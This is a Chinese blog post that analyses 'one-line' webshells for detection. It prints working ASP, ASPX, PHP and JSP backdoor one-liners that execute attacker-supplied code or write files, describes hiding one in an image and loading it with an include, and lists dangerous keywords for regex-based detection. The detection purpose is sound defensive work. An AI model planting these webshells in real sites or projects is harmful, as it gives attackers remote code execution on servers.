现在的位置: 首页 > 综合 > 正文

WebShell分析(网页木马)

2012年11月23日 ⁄ 综合 ⁄ 共 2538字 ⁄ 字号 评论关闭
原理:"一句话木马" 用来向接收客户端提交过来的控制数据,提交的数据通过服务端解析成语句并执行,可以提交定入文件,也可以提交查询数据库等语句。

 

一句话WEBSHELL分析:

 

[]中间是他们的关键字。提交的参数是0x001

 

ASP: <%execute request("0x001")%>
[execute]

 

<%eval request("0x001")%>
[eval]

 

<%eval_r(Request("0x001"))%>
[eval_r]

 

<%ExecuteGlobal request("0x001")%>
[ExecuteGlobal]

 

<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%><%var obj = {'name' : Request.form('0x001'), 'sex' : eval};obj.name((obj.sex)+'');%>
[eval]

 

<%Set o = Server.CreateObject("ScriptControl"):o.language = "vbscript":o.addcode(Request("SubCode")):o.run "0x001",Server,Response,Request,Application,Session,Error%>
[ScriptControl]

 

隐藏:将一句话写在图片中,上传至网站images目录下。
<%On Error Resume Next:If Request("0x001")<>"" Then:Session("webshell")=Request("0x001"):End If:If Session("webshell")<>"" Then:Response.Clear:Execute(Session("webshell")):Response.End:End If%>
更改其中一个ASP,加上:<!--#include file="images/webshell.jpg"-->
再访问此ASP页面时,如果传的参数是0x001,就可以触发执行了。

 

ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["0x001"],"unsafe");%>
[eval]

 

<%@ Page Language="Jscript"%><%eval_r(Request.Item["0x001"],"unsafe"));%>  

[eval_r]

 

<%@ Page Language="C#" %><%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["0x001"]) ); }%>  

[这个关键词就不好说了]

 

<%@ Page Language="C#" ValidateRequest="false" %><%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["0x001"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
[System.Reflection.Assembly.Load] //在aspx中使用反射,当然不正常。

 

PHP: <?php @eval($_POST['0x001']);?>
[eval]

 

<?php @eval_r($_POST['0x001']);?>
[eval_r]

 

<?php assert($_POST['0x001']);?>
[assert]

 

<?php echo `$_REQUEST[id]`;?>
[``]

 

PHP也可以使用<?php include('images/webshell.jpg');?>来载入图片代码

 

JSP: <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
[java.io.FileOutputStream]

 

当然还有很多变种或其它可执行的函数,大的网页木马功能要强很多,具体还有很多危险关键字,这些关键字的出现,也不一定就是网页木马,但是如果我们要分析的话,这是一种可能。:
wscript.shell
clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8
Shell.Application
clsid:13709620-C279-11CE-A49E-444553540000
vbscript.encode //用于加密asp代码
.ExecuteStatement
shell_exec
xp_cmdshell
scripting.filesystemobject
clsid:0D43FE01-F093-11CF-8940-00A0C9054228
ADODB.Stream
clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B
System.IO.StreamWriter
Runtime.getRuntime().exec
System.Net.Sockets
System.Diagnostics
System.DirectoryServices
System.ServiceProcess
import="java.util.*,java.io.*"

 

所以,如果我们要在测试中分析以上的代码,正则是最方便的一种。大家有什么好的检测方法。不防贴上来相互学习一下。

 

Sov.WAF正是检测以上代码来完成webshell分析的功能,但是也会有一定的误报,因为有些正常的网页中,也使用execute等关键字。 

抱歉!评论已关闭.